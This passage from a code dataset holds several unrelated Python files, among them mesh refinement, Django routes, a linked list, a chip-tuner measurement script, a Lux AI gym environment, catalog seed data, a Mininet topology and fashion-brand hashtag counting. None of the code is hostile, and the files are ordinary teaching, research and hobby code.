\n","sub_path":"myProyecto/miProyectodwy/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"82977782","text":"import numpy as np\nimport scipy.sparse as sparse\n\n\ndef refine2dtri(V, E, marked_elements=None):\n \"\"\"\n marked_elements : array\n list of marked elements for refinement. None means uniform.\n \"\"\"\n Nel = E.shape[0]\n Nv = V.shape[0]\n\n if marked_elements is None:\n marked_elements = np.arange(0, Nel)\n\n marked_elements = np.ravel(marked_elements)\n\n # construct vertex to vertex graph\n col = E.ravel()\n row = np.kron(np.arange(0, Nel), [1, 1, 1])\n data = np.ones((Nel*3,))\n V2V = sparse.coo_matrix((data, (row, col)), shape=(Nel, Nv))\n V2V = V2V.T * V2V\n\n # compute interior edges list\n V2V.data = np.ones(V2V.data.shape)\n V2Vupper = sparse.triu(V2V, 1).tocoo()\n\n # construct EdgeList from V2V\n Nedges = len(V2Vupper.data)\n V2Vupper.data = np.arange(0, Nedges)\n EdgeList = np.vstack((V2Vupper.row, V2Vupper.col)).T\n Nedges = EdgeList.shape[0]\n\n # elements to edge list\n V2Vupper = V2Vupper.tocsr()\n edges = np.vstack((E[:, [0, 1]],\n E[:, [1, 2]],\n E[:, [2, 0]]))\n edges.sort(axis=1)\n ElementToEdge = V2Vupper[edges[:, 0], edges[:, 1]].reshape((3, Nel)).T\n\n marked_edges = np.zeros((Nedges,), dtype=bool)\n marked_edges[ElementToEdge[marked_elements, :].ravel()] = True\n\n # mark 3-2-1 triangles\n nsplit = len(np.where(marked_edges == 1)[0])\n edge_num = marked_edges[ElementToEdge].sum(axis=1)\n edges3 = np.where(edge_num >= 2)[0]\n marked_edges[ElementToEdge[edges3, :]] = True # marked 3rd edge\n nsplit = len(np.where(marked_edges == 1)[0])\n\n edges1 = np.where(edge_num == 1)[0]\n # edges1 = edge_num[id] # all 2 or 3 edge elements\n\n # new nodes (only edges3 elements)\n\n x_new = 0.5*(V[EdgeList[marked_edges, 0], 0]) \\\n + 0.5*(V[EdgeList[marked_edges, 1], 0])\n y_new = 0.5*(V[EdgeList[marked_edges, 0], 1]) \\\n + 0.5*(V[EdgeList[marked_edges, 1], 1])\n\n V_new = np.vstack((x_new, y_new)).T\n V = np.vstack((V, V_new))\n # indices of the new nodes\n new_id = np.zeros((Nedges,), dtype=int)\n print(len(np.where(marked_edges == 1)[0]))\n print(nsplit)\n new_id[marked_edges] = Nv + np.arange(0, nsplit)\n # New tri's in the case of refining 3 edges\n # example, 1 element\n # n2\n # / |\n # / |\n # / |\n # n5-------n4\n # / \\ /|\n # / \\ / |\n # / \\ / |\n # n0 --------n3-- n1\n ids = np.ones((Nel,), dtype=bool)\n ids[edges3] = False\n ids[edges1] = False\n\n E_new = np.delete(E, marked_elements, axis=0) # E[id2, :]\n n0 = E[edges3, 0]\n n1 = E[edges3, 1]\n n2 = E[edges3, 2]\n n3 = new_id[ElementToEdge[edges3, 0]].ravel()\n n4 = new_id[ElementToEdge[edges3, 1]].ravel()\n n5 = new_id[ElementToEdge[edges3, 2]].ravel()\n\n t1 = np.vstack((n0, n3, n5)).T\n t2 = np.vstack((n3, n1, n4)).T\n t3 = np.vstack((n4, n2, n5)).T\n t4 = np.vstack((n3, n4, n5)).T\n\n E_new = np.vstack((E_new, t1, t2, t3, t4))\n return V, E_new\n","sub_path":"CS555/Midterm/refine_mesh.py","file_name":"refine_mesh.py","file_ext":"py","file_size_in_byte":3072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"402046288","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns= [\n url(r'^$', views.login_regis),\n url(r'^newuser/register$', views.register),\n url(r'^existinguser/login$', views.login),\n url(r'^dashboard$', views.dashboard),\n url(r'^create$', views.createnewquote),\n url(r'^viewuserslist/(?P<clickeduser>\\d+)$', views.displayuserquotes),\n url(r'^dashboard/(?P<makefav>\\d+)/add$', views.makefavorite),\n url(r'^dashboard/(?P<cancelfav>\\d+)/cancel$', views.cancelfavorite),\n url(r'^logout$', views.logout),\n ]","sub_path":"apps/examapp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"643061805","text":"class Node:\r\n def __init__(self, value):\r\n self.value = value\r\n self.next = None\r\n\r\n\r\nclass SinglyLinkedList:\r\n def __init__(self):\r\n self.head = None\r\n self.tail = None\r\n\r\n def iterate(self):\r\n if self.head is None:\r\n print('The list is not exist')\r\n else:\r\n node = self.head\r\n while node:\r\n print(node.value)\r\n node = node.next\r\n\r\n def append(self, value):\r\n new_node = Node(value)\r\n if self.head is None:\r\n self.head = new_node\r\n self.tail = new_node\r\n else:\r\n new_node.next = None\r\n self.tail.next = new_node\r\n self.tail = new_node\r\n\r\n def insert(self, value, index):\r\n new_node = Node(value)\r\n if self.head is None:\r\n self.head = new_node\r\n self.tail = new_node\r\n else:\r\n if index == 0:\r\n new_node.next = self.head\r\n self.head = new_node\r\n else:\r\n temp_node = self.head\r\n itr_count = 0\r\n while itr_count < index - 1:\r\n temp_node = temp_node.next\r\n itr_count += 1\r\n next_node = temp_node.next\r\n temp_node.next = new_node\r\n new_node.next = next_node\r\n\r\n def search(self, node_value):\r\n if self.head is None:\r\n print('The list is not exist')\r\n else:\r\n node = self.head\r\n while node:\r\n if node.value == node_value:\r\n return node.value\r\n node = node.next\r\n return 'The value is not exist in the list'\r\n\r\n def pop(self):\r\n if self.head is None:\r\n print('The list is not exist')\r\n else:\r\n if self.head == self.tail:\r\n self.head = None\r\n self.tail = None\r\n else:\r\n node = self.head\r\n while node:\r\n if node.next == self.tail:\r\n break\r\n node = node.next\r\n node.next = None\r\n self.tail = node\r\n\r\n def delete_node(self, index):\r\n if self.head is None:\r\n print('The list is not exist')\r\n else:\r\n if index == 0:\r\n if self.head == self.tail:\r\n self.head = None\r\n self.tail = None\r\n else:\r\n self.head = self.head.next\r\n else:\r\n temp_node = self.head\r\n itr_count = 0\r\n while itr_count < index - 1:\r\n temp_node = temp_node.next\r\n itr_count += 1\r\n next_node = temp_node.next\r\n temp_node.next = next_node.next\r\n\r\n def delete_list(self):\r\n if self.head is None:\r\n print('The list is not exist')\r\n else:\r\n self.head = None\r\n self.tail = None\r\n\r\n\r\nsingly_linked_list = SinglyLinkedList()\r\nsingly_linked_list.append(1)\r\nsingly_linked_list.append(2)\r\nsingly_linked_list.append(3)\r\nsingly_linked_list.append(4)\r\nsingly_linked_list.insert(8, 2)\r\nsingly_linked_list.delete_list()\r\nsingly_linked_list.iterate()\r\n","sub_path":"sll.py","file_name":"sll.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"415679390","text":"import sys, time\nsys.path.append(r\"C:\\Users\\Administrator\\Desktop\\dist\\C8910test\\ftdi_py\")\nimport csv\nimport app.tuner_gen\nfrom app.tuner_parser import TunerCSVPaser\nfrom app.tuner_base import TunerBase\nfrom driver.tuner_spi import TunerSPIGroup\nfrom calibration.dm34401a import DM34401A\nimport xlrd\nimport xlwt\nfrom xlutils.copy import copy\n\n\nclass Tuner(TunerBase):\n __FILE__ = \"./chore/Cheetah_RegMap_Rev-0.13.csv\"\n\nTuner.generate_code(\"./app/tuner_gen.py\")\nTuner.generate_doc(\"./app/tuner_gen.mkd\")\nsys.path.append(\"./driver\")\n\nspi_group = TunerSPIGroup()\nspi_group.open()\nspi = spi_group.spi(spi_group.DEFAULT_SPI1)\ntuner = Tuner(spi)\n\n\ndef C8910_Write(addr, value):\n tuner.write(addr, value)\ndef C8910_Read(addr):\n return tuner.read(addr)\ndef fast_cal_manual(msb, lsb = 0):\n tuner.set_fastcal_bypass(1)\n tuner.set_fastcal_bypass_sel(0)\n tuner.set_fastcal_en_latch(0)\n tuner.set_fastcal_msb_a(msb)\n tuner.set_fastcal_lsb_a(lsb)\n\n\ndef power_on_seq():\n tuner.set_rsvd_pll_15_w(0x80)\n tuner.set_pu_ivref(0)\n tuner.set_pu_reg_mas(0)\n tuner.set_short_en(0)\n tuner.set_vcotop_cal_en(0)\n tuner.set_pu_vco(0)\n tuner.set_vslv_vco(0)\n tuner.set_pu_pkdet(0)\n tuner.set_pu_vco_buf(0)\n tuner.set_pu_cp_pfd_fbdiv(0)\n tuner.set_vslv_cp(0)\n tuner.set_pu_clk_dist(0)\n\n time.sleep(0.5)\n print(\"prepare finished...\")\n tuner.set_vslv_vco(7)\n tuner.set_pll_fbdiv(216) #216\n fast_cal_manual(0x0d,12)\n tuner.set_pll_vco_top(90)\n tuner.set_lockdet_en(1)\n\n tuner.set_pu_ivref(1)\n tuner.set_short_en(1)\n tuner.set_pll_vco_top(70)\n tuner.set_pll_reset(0)\n tuner.set_pu_reg_mas(1)\n tuner.set_vcotop_cal_en(1)\n tuner.set_vcotop_cal_en(0)\n tuner.set_pu_vco(1)\n tuner.set_vslv_vco(1)\n tuner.set_pu_vco_buf(1)\n tuner.set_pu_cp_pfd_fbdiv(1)\n tuner.set_pu_pkdet(1)\n tuner.set_vslv_cp(3)\n tuner.set_pu_clk_dist(1)\n tuner.set_loband_en(0)\n print(\"stage 1 fin ...\")\n tuner.set_pll_clk_dist_sel(2);\n tuner.set_pll_clk_dist_div(5);\n tuner.set_pll_lpf_rsel(0)\ndef pu_tx():\n tuner.write(0x140,0x3008)\n tuner.write(0x140,0x0008)\n tuner.set_pu_txbias(1)\n tuner.set_pu_tmix(1)\n tuner.set_pu_pa1(1)\n tuner.set_bm_pa1(0)\n tuner.set_gc_pa1(3)\n tuner.set_band_pa1(0)\n tuner.set_bandsel_tmix(0)\n tuner.set_en_osdac_tmix(1)\n tuner.set_osdac_tmix(0)\n print(\"pa1 powered on ...\")\nif __name__ == \"__main__\":\n dm = DM34401A()\n dm.opensource_serial(\"COM3\")\n dm.reset()\n dm.remote()\n\n\n\n data = xlrd.open_workbook(\"ATEST.xlsx\")\n table = data.sheet_by_name(\"ATEST\")\n write_data = copy(data)\n write_table = write_data.get_sheet(0)\n nub_rows = table.nrows\n nub_cols = table.ncols\n\n col_te = table.col_values(0)\n power_on_seq()\n pu_tx()\n for nub_row in range(0, nub_rows):\n string = col_te[nub_row].encode(\"utf-8\")\n new_string = filter(str.isdigit, string)\n #new_string.replace(' ', '')\n #new_new_string = new_string.rstrip()\n if new_string:\n new_string = int(new_string)\n for x in range(5):\n if new_string > 10:\n tuner.set_teblk(new_string // 10)\n #time.sleep(1)\n for tr in range(0, 8):\n tuner.set_tr(tr)\n time.sleep(0.1)\n print(\"TE: %d\" %tuner.get_teblk(), \"TR: %d\" %tuner.get_tr())\n print(dm.get_dc_volt())\n write_table.write(nub_row+tr, 5+x, dm.get_dc_volt())\n\n else:\n tuner.set_teblk(new_string)\n #time.sleep(1)\n for tr in range(0, 8):\n tuner.set_tr(tr)\n time.sleep(0.1)\n print(\"TE: %d\" %tuner.get_teblk(), \"TR: %d\" %tuner.get_tr())\n print(dm.get_dc_volt())\n write_table.write(nub_row+tr, 5+x, dm.get_dc_volt())\n\n write_data.save(\"TEST.xls\")\n\n\n # tuner.set_teblk(6)\n # tuner.set_tr(7)\n # tuner.set_pu_lna1(1)\n # print(tuner.get_pu_lna1())\n # print(tuner.read(0x040))\n # print(dm.get_dc_volt()) \n\n","sub_path":"ftdi_py/c8910_atest.py","file_name":"c8910_atest.py","file_ext":"py","file_size_in_byte":4218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"610313845","text":"from django.utils import timezone\nfrom course.models import Lesson\n\n\ndef get_lessons(courses):\n \"\"\"returns list with all lessons for this student\"\"\"\n lessons = []\n for course in courses:\n course_lessons = Lesson.objects.filter(course=course).order_by(\"date\")\n for lesson in course_lessons:\n lessons.append(lesson)\n if 'lessons' in locals():\n colored_lessons = [\n {\n 'lesson': lesson,\n 'color': set_timeline(lesson.date)\n }\n for lesson in lessons\n ]\n return colored_lessons\n\n\ndef set_timeline(lesson_date):\n \"\"\"\n -> str\n check lesson date and appoint: \\n\n future - if today's date < lesson date\n today - if today's date == lesson date\n past - if today's date > lesson date\n \"\"\"\n if timezone.now().date() < lesson_date.date():\n return \"future\"\n elif timezone.now().date() == lesson_date.date():\n return \"today\"\n elif timezone.now().date() > lesson_date.date():\n return \"past\"\n","sub_path":"stoicism/student/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"97749567","text":"''' Implements the base class for a Lux enviornment '''\nfrom ..game.game import Game\nfrom ..game.match_controller import GameStepFailedException, MatchController\nfrom ..game.constants import Constants\n\nimport gym\nfrom gym import spaces\nimport numpy as np\n\n\n\nclass LuxEnvironment(gym.Env):\n \"\"\"Custom Environment that follows gym interface\"\"\"\n metadata = {'render.modes': ['human']}\n \n def __init__(self, configs, learningAgent, opponentAgent):\n super(LuxEnvironment, self).__init__()\n\n # Create the game\n self.game = Game(configs)\n self.matchController = MatchController( self.game, agents = [learningAgent, opponentAgent] )\n\n self.action_space = learningAgent.action_space\n self.observation_space = learningAgent.observation_space\n\n self.learningAgent = learningAgent\n\n self.current_step = 0\n self.matchGenerator = None\n\n self.lastObservationObject = None\n \n\n def step(self, action_code):\n # Take this action, then get the state at the next action\n \n # Decision for 1 unit or city\n self.learningAgent.takeAction(action_code,\n self.game,\n unit=self.lastObservationObject[0],\n citytile=self.lastObservationObject[1],\n team=self.lastObservationObject[2]\n )\n\n self.current_step += 1\n\n # Get the next observation\n isNewTurn = True\n isGameOver = False\n isGameError = False\n try:\n (unit, citytile, team, isNewTurn) = next(self.matchGenerator)\n\n obs = self.learningAgent.getObservation(self.game, unit, citytile, team, isNewTurn)\n self.lastObservationObject = (unit, citytile, team, isNewTurn)\n except StopIteration as err:\n # The game episode is done.\n isGameOver = True\n obs = None\n except GameStepFailedException as err:\n # Game step failed, assign a game lost reward to not incentivise this\n isGameOver = True\n obs = None\n isGameError = True\n\n # Calculate reward for this step\n reward = self.learningAgent.getReward(self.game, isGameOver, isNewTurn, isGameError)\n \n return obs, reward, isGameOver, {}\n\n def reset(self):\n self.current_step = 0\n self.lastObservationObject = None\n\n # Reset game + map\n self.matchController.reset()\n self.matchGenerator = self.matchController.runToNextObservation()\n (unit, citytile, team, isNewTurn) = next(self.matchGenerator)\n\n obs = self.learningAgent.getObservation(self.game, unit, citytile, team, isNewTurn)\n self.lastObservationObject = (unit, citytile, team, isNewTurn)\n\n return obs\n\n def render(self):\n print(self.current_step)\n print(self.game.map.getMapString())\n","sub_path":"luxai2021/env/lux_env.py","file_name":"lux_env.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"408032204","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\n\nfrom database_setup import Base, Category, Item, User\n\n\nengine = create_engine('sqlite:///catalog.db')\nBase.metadata.bind = engine\n\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n\n# sample user\nuser1 = User(username='sattam', email='sattamjh@gmail.com')\nsession.add(user1)\nsession.commit()\n\n# sample data for programming category\ncat1 = Category(name=\"Programming Languages\")\nsession.add(cat1)\nsession.commit()\n\nbook1 = Item(\n title=\"Python Cookbook, 2nd Edition\",\n description=\"Portable, powerful, and a breeze to use, Python is the popular open source object-oriented programming language used for both standalone programs and scripting applications.\",\n category=cat1,\n user=user1\n)\nsession.add(book1)\nsession.commit()\n\nbook2 = Item(\n title=\"Think Python, 2nd Edition\",\n description=\"If you want to learn how to program, working with Python is an excellent way to start.\",\n category=cat1,\n user=user1\n)\nsession.add(book2)\nsession.commit()\n\n\n# sample data for network and cloud\ncat2 = Category(name=\"Networking & Cloud\")\nsession.add(cat2)\nsession.commit()\n\nbook3 = Item(\n title=\"Learning OpenStack Networking (Neutron)\",\n description=\"OpenStack provides a rich API that enables users to architect networks, create virtual machines, and scale their application as they see fit\",\n category=cat2,\n user=user1\n)\nsession.add(book3)\nsession.commit()\n\n# sample data for Databases\ncat3 = Category(name=\"Databases\")\nsession.add(cat3)\nsession.commit()\n\nbook4 = Item(\n title=\"The Definitive Guide to SQLite\",\n description=\"Traditional relational databases and embedded databases both have shortcomings that can leave a developer perplexed.\",\n category=cat3,\n user=user1\n)\nsession.add(book4)\nsession.commit()\n\nbook5 = Item(\n title=\"Learning MySQL and MariaDB\",\n description=\"If you're a programmer new to databases - or just new to MySQL and its community-driven variant, MariaDB - you've found the perfect introduction.\",\n category=cat3,\n user=user1\n)\nsession.add(book5)\nsession.commit()\n\n# sample data for security and encryption\ncat4 = Category(name=\"Security & Encryption\")\nsession.add(cat4)\nsession.commit()\n\nbook6 = Item(\n title=\"Black Hat Python\",\n description=\"When it comes to creating powerful and effective hacking tools, Python is the language of choice for most security analysts.\",\n category=cat4,\n user=user1\n)\nsession.add(book6)\nsession.commit()\n","sub_path":"dummy_data.py","file_name":"dummy_data.py","file_ext":"py","file_size_in_byte":2515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"145223268","text":"#!/usr/bin/python\n\nfrom __future__ import print_function\n\nfrom mininet.net import Mininet\n#from mininet.node import node\nfrom mininet.node import OVSSwitch, Controller, RemoteController\nfrom mininet.cli import CLI\nfrom mininet.log import lg\nfrom mininet.topolib import TreeTopo\nfrom mininet.topolib import TreeNet\n\n\n##class LinuxRouter(Node):\n# \"A Node with IP forwarding enabled.\"\n#\n# def config(self, **params):\n# super(LinuxRouter, self).config(**params)\n# # Enable forwarding on the router\n# self.cmd('sysctl net.ipv4.ip_forward=1')\n#\n# def terminate( self ):\n# self.cmd('sysctl net.ipv4.ip_forward=0')\n# super(LinuxRouter, self).terminate()\n\n\n\nif __name__ == '__main__':\n class SingleSwitch(OVSSwitch):\n def start(self, controllers):\n return OVSSwitch.start(self, [cmap[self.name]])\n\n lg.setLogLevel('info')\n c0 = RemoteController('c0', ip='127.0.0.1', port=6633)\n cmap = {'s1':c0, 's2':c0, 's3':c0, 's4':c0}\n\n topo = TreeTopo(depth=2, fanout=2)\n net = Mininet(topo=topo, switch=SingleSwitch, build=False)\n net.addController(c0)\n net.build()\n #h3 = net.hosts[3]\n #h3.setDefaultRoute('via %s' % '10.0.0.1')\n\n # Add NAT connectivity\n #net.addNAT().config(mac=None, ip=h3.IP(), defaultRoute=None, lo='up')\n #net.addNAT().config(mac=None, defaultRoute=None, lo='up')\n net.addNAT().configDefault()\n net.start()\n print(\"*** Hosts are running and should have internet connectivity\")\n print(\"*** Type 'exit' or control-D to shut down network\")\n CLI(net)\n # Shut down NAT\n net.stop()\n","sub_path":"mininet/mininet/p2pcode/p2pNetwork.py","file_name":"p2pNetwork.py","file_ext":"py","file_size_in_byte":1602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"548395454","text":"# Script to identify each post belongs to which brand/brands\r\nimport pandas as pd\r\nimport json\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nimport pandas as pd\r\n\r\n# -------------keywords of the brands------------------------------#\r\ngucci = 'gucci'\r\nchanel1 = 'chanel'\r\nchanel2 = 'coco'\r\ndior = 'dior'\r\nfendi = 'fendi'\r\nburberry = 'burberry'\r\nd_and_g = ['#dolcegabbana', '#dgwoman', '#dolceandgabbana', '#dgfw19', '#dg', '#dgfashiondevotion']\r\nbalenciaga = 'balenciaga'\r\nversace = 'versace'\r\nprada = 'prada'\r\nlouisvuitton = ['#louisvuitton', '#lv']\r\ntommy1 = 'tommy'\r\ntommy2 = 'hilfiger'\r\ngigi1 = 'gigi'\r\ngig2 = 'hadid'\r\nnike = 'nike'\r\nvalentino = 'valentino'\r\nadidas = 'adidas'\r\nzara = 'zara'\r\ncalvinklein = 'calvin'\r\nvictora = 'victorias'\r\nmiumiu = 'miumiu'\r\nbvlgari = 'bvlgari'\r\nhm = ['#handm', '#h&m', '#hm']\r\narmani = 'armani'\r\n# -------------keywords of the brands------------------------------#END\r\n\r\n\r\n# lists to keep the poss' pk of the brands\r\n#--------------------- posts lists -------------------#\r\ngucci_posts = []\r\nchanel_posts = []\r\ndior_posts = []\r\nfendi_posts = []\r\nburberry_posts = []\r\nd_and_g_posts = []\r\nbalenciaga_posts = []\r\nversace_posts = []\r\nprada_posts = []\r\nlouisvuitton_posts = []\r\ntommy_posts = []\r\ngigi_posts = []\r\nnike_posts = []\r\nvalentino_posts = []\r\nadidas_posts = []\r\nzara_posts = []\r\ncalvinklein_posts = []\r\nvictora_posts = []\r\nmiumiu_posts = []\r\nbvlgari_posts = []\r\nhm_posts = []\r\narmani_posts = []\r\n\r\n\r\npathdata_jsons = \"G:\\\\Dropbox\\\\Alireza_Thesis\\Datasets\\\\6-unfied_users_with_postss_V4\\\\output_with_userprofile_25apr\"\r\n\r\nprint(\"Path data files creation...\")\r\npathdata_files = [f for f in listdir(pathdata_jsons) if\r\n isfile(join(pathdata_jsons, f))] # getting files in pathdata_jsons folder\r\n\r\n# for loop to read all the files and every time put in \"f\"\r\nfor f in range(len(pathdata_files)):\r\n path = pathdata_jsons+'\\\\'+pathdata_files[f] # to make the address of the file \"f\"\r\n print(\" Just \" + str((len(pathdata_files))-f) + \" more files to go.\") # just to keep track of how many is left\r\n with open(path) as userfile: # to open file \"f\"\r\n user = json.load(userfile) # to load file f as a json object into \"user\"\r\n core = list(user.keys()) # to extract the pk of the user which is the root node of the file as \"core\"\r\n # ----------eventActivities----------- #\r\n event_activities = user[core[0]][\"eventActivities\"] # to keep the eventActivities\r\n for p in range(len(event_activities)):\r\n post_pk = event_activities[p]['pk']\r\n # target_row = int(posts_df.index[posts_df['Post\\'s PK'] == post_pk].tolist()[0]) # To get the index of the row which post's pk is equal to a value\r\n hashtag_list = event_activities[p]['uniquehashtaglist']\r\n for h in range(len(hashtag_list)):\r\n hashtag = hashtag_list[h]\r\n if gucci in hashtag:\r\n gucci_posts.append(post_pk)\r\n elif (chanel1 in hashtag) or (chanel2 in hashtag):\r\n chanel_posts.append(post_pk)\r\n elif dior in hashtag:\r\n dior_posts.append(post_pk)\r\n elif fendi in hashtag:\r\n fendi_posts.append(post_pk)\r\n elif burberry in hashtag:\r\n burberry_posts.append(post_pk)\r\n elif hashtag in d_and_g:\r\n d_and_g_posts.append(post_pk)\r\n elif balenciaga in hashtag:\r\n balenciaga_posts.append(post_pk)\r\n elif versace in hashtag:\r\n versace_posts.append(post_pk)\r\n elif prada in hashtag:\r\n prada_posts.append(post_pk)\r\n elif hashtag in louisvuitton:\r\n louisvuitton_posts.append(post_pk)\r\n elif (tommy1 in hashtag) or (tommy2 in hashtag):\r\n tommy_posts.append(post_pk)\r\n elif (gigi1 in hashtag) or (gig2 in hashtag):\r\n gigi_posts.append(post_pk)\r\n elif nike in hashtag:\r\n nike_posts.append(post_pk)\r\n elif valentino in hashtag:\r\n valentino_posts.append(post_pk)\r\n elif adidas in hashtag:\r\n adidas_posts.append(post_pk)\r\n elif zara in hashtag:\r\n zara_posts.append(post_pk)\r\n elif calvinklein in hashtag:\r\n calvinklein_posts.append(post_pk)\r\n elif victora in hashtag:\r\n victora_posts.append(post_pk)\r\n elif miumiu in hashtag:\r\n miumiu_posts.append(post_pk)\r\n elif bvlgari in hashtag:\r\n bvlgari_posts.append(post_pk)\r\n elif hashtag in hm:\r\n hm_posts.append(post_pk)\r\n elif armani in hashtag:\r\n armani_posts.append(post_pk)\r\n else:\r\n continue\r\n\r\n# make set out of the posts pk for each brand (to remove duplications)\r\n#-------------------------- SETS ----------------------#\r\ngucci_posts_set = set(gucci_posts)\r\nchanel_posts_set = set(chanel_posts)\r\ndior_posts_set = set(dior_posts)\r\nfendi_posts_set = set(fendi_posts)\r\nburberry_posts_set = set(burberry_posts)\r\nd_and_g_posts_set = set(d_and_g_posts)\r\nbalenciaga_posts_set = set(balenciaga_posts)\r\nversace_posts_set = set(versace_posts)\r\nprada_posts_set = set(prada_posts)\r\nlouisvuitton_posts_set = set(louisvuitton_posts)\r\ntommy_posts_set = set(tommy_posts)\r\ngigi_posts_set = set(gigi_posts)\r\nnike_posts_set = set(nike_posts)\r\nvalentino_posts_set = set(valentino_posts)\r\nadidas_posts_set = set(adidas_posts)\r\nzara_posts_set = set(zara_posts)\r\ncalvinklein_posts_set = set(calvinklein_posts)\r\nvictora_posts_set = set(victora_posts)\r\nmiumiu_posts_set = set(miumiu_posts)\r\nbvlgari_posts_set = set(bvlgari_posts)\r\nhm_posts_set = set(hm_posts)\r\narmani_posts_set = set(armani_posts)\r\n\r\nprint(\"Number of posts for Gucci : \" + str(len(gucci_posts_set)))\r\nprint(\"Number of posts for Chanel : \" + str(len(chanel_posts_set)))\r\nprint(\"Number of posts for Dior : \" + str(len(dior_posts_set)))\r\nprint(\"Number of posts for Fendi : \" + str(len(fendi_posts_set)))\r\nprint(\"Number of posts for Burberry : \" + str(len(burberry_posts_set)))\r\nprint(\"Number of posts for D&G : \" + str(len(d_and_g_posts_set)))\r\nprint(\"Number of posts for Balenciaga : \" + str(len(balenciaga_posts_set)))\r\nprint(\"Number of posts for Versace : \" + str(len(versace_posts_set)))\r\nprint(\"Number of posts for Prada : \" + str(len(prada_posts_set)))\r\nprint(\"Number of posts for Louisvuitton : \" + str(len(louisvuitton_posts_set)))\r\nprint(\"Number of posts for Tommy : \" + str(len(tommy_posts_set)))\r\nprint(\"Number of posts for Gigi Hadid : \" + str(len(gigi_posts_set)))\r\nprint(\"Number of posts for Nike : \" + str(len(nike_posts_set)))\r\nprint(\"Number of posts for Valentino : \" + str(len(valentino_posts_set)))\r\nprint(\"Number of posts for Adidas : \" + str(len(adidas_posts_set)))\r\nprint(\"Number of posts for Zara : \" + str(len(zara_posts_set)))\r\nprint(\"Number of posts for CalvinKlein : \" + str(len(calvinklein_posts_set)))\r\nprint(\"Number of posts for Victoria Secret : \" + str(len(victora_posts_set)))\r\nprint(\"Number of posts for Miumiu : \" + str(len(miumiu_posts_set)))\r\nprint(\"Number of posts for Bvlgari : \" + str(len(bvlgari_posts_set)))\r\nprint(\"Number of posts for H&M : \" + str(len(hm_posts_set)))\r\nprint(\"Number of posts for Armani : \" + str(len(armani_posts_set)))\r\n\r\n\r\n# -------------------------- To create and fill the new data frame ---------------- #\r\n\r\nposts_df = \\\r\n pd.read_csv(\"G:\\\\Dropbox\\\\Alireza_Thesis\\\\Final_data_set\\\\dataframes\\\\posts_df_final.csv\")\r\n\r\n\r\nsLength = len(posts_df['Post\\'s PK']) # to get the number of rows\r\n\r\n# to make the value of the new created cols equal to zero\r\ne = []\r\nfor i in range(sLength):\r\n e.append(0)\r\n\r\nposts_df['Gucci'] = e\r\nposts_df['Chanel'] = e\r\nposts_df['Dior'] = e\r\nposts_df['Fendi'] = e\r\nposts_df['Burberry'] = e\r\nposts_df['D&G'] = e\r\nposts_df['Balenciaga'] = e\r\nposts_df['Versace'] = e\r\nposts_df['Prada'] = e\r\nposts_df['Louisvuitton'] = e\r\nposts_df['Tommy'] = e\r\nposts_df['Gigi Hadid'] = e\r\nposts_df['Nike'] = e\r\nposts_df['Valentino'] = e\r\nposts_df['Adidas'] = e\r\nposts_df['Zara'] = e\r\nposts_df['CalvinKlein'] = e\r\nposts_df['Victoria Secret'] = e\r\nposts_df['Miumiu'] = e\r\nposts_df['Bvlgari'] = e\r\nposts_df['H&M'] = e\r\nposts_df['Armani'] = e\r\n\r\n# ----------------For to find the the post pk of the brands in the df ---------------- #\r\n\r\nprint('Gucci ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in gucci_posts_set:\r\n posts_df.loc[r, 'Gucci'] = 1\r\n\r\nprint('Chanel ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in chanel_posts_set:\r\n posts_df.loc[r, 'Chanel'] = 1\r\n\r\nprint('Dior ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in dior_posts_set:\r\n posts_df.loc[r, 'Dior'] = 1\r\n\r\nprint('Fendi ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in fendi_posts_set:\r\n posts_df.loc[r, 'Fendi'] = 1\r\n\r\nprint('Burberry ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in burberry_posts_set:\r\n posts_df.loc[r, 'Burberry'] = 1\r\n\r\nprint('D&G ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in d_and_g_posts_set:\r\n posts_df.loc[r, 'D&G'] = 1\r\n\r\nprint('Balenciaga ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in balenciaga_posts_set:\r\n posts_df.loc[r, 'Balenciaga'] = 1\r\n\r\nprint('Versace ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in versace_posts_set:\r\n posts_df.loc[r, 'Versace'] = 1\r\n\r\nprint('Prada ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in prada_posts_set:\r\n posts_df.loc[r, 'Prada'] = 1\r\n\r\nprint('Louisvuitton ...')\r\nfor r in range(sLength):\r\n post_pk = posts_df.loc[r, '''Post's PK''']\r\n if post_pk in louisvuitton_posts_set:\r\n 